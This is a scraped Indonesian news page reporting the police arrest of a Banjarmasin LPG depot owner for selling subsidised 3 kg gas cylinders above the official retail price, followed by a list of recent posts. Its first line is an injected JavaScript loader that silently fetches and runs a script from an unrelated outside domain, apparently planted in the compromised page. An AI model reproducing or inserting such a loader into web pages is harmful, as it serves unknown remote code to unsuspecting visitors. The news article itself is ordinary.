(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Jual ke Pengecer, Pemilik Pangkalan LPG 3 Kg di Jahri Saleh Ditangkap


KANALKALIMANTAN.COM, BANJARMASIN –  Lagi, Subdit 1 Tindak Pidana Indagsi Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel menindak tegas pelaku usaha LPG 3 Kg bersubsidi yang menjual di atas harga eceran tertinggi (HET).

Sebuah pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh No 69 RT 12 RW 02, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara, Kota Banjarmasin, Minggu (4/10/2020) pukul 00.45 Wita, di-police line petugas.

Direktur Reskrimsus Polda Kalsel Kombes Pol Masrur melalui Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i menuturkan, sang pemilik pangkalan berinisial IG alias IS (55) diketahui memperdagangkan LPG 3 Kg kepada pengecer dengan jumlah banyak.

“IG (pemilik pangkalan) menjual mulai dari harga Rp 18.000 per tabung sampai dengan harga Rp 23.000 per tabung,” kata Kabid Humas Polda Kalsel.

Pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara yang ditindak, Minggu (4/10/2020) pukul 00.45 Wita. foto: humas polda kalsel

Bersamaan dengan diamankannya pelaku, petugas juga menyita barang bukti LPG 3 Kg bersubsidi sebanyak 940 tabung terdiri dari LPG 3 Kg (isi) sebanyak 119 tabung, LPG 3 Kg bersubsidi (kosong) sebanyak 821 tabung, 1 unit gerobak kayu, 1 lembar spanduk harga HET, serta log book penyaluran LPG 3 Kg bulan Januari sampai dengan Agustus 2020 masing-masing 1 bundel.

Perbuatan IG alias IS yang memperdagangkan LPG 3 Kg bersubsidi melebihi ketentuan harga penjualan ke konsumen tersebut telah melanggar pasal 62 Ayat (1) Jo pasal 10 huruf (a) UU RI No.8 tahun 1999 tentang perlindungan konsumen Jo Peraturan Presiden Republik Indonesia Nomor 71 tahun 2015 tentang penetapan dan penyimpanan barang kebutuhan pokok dan penting.

“Ini sesjuai instruksi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk melakukan penindakan terhadap oknum yang melakukan permainan LPG bersubsidi oleh anggota di lapangan,” tandas Kabid Humas Polda Kalsel. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.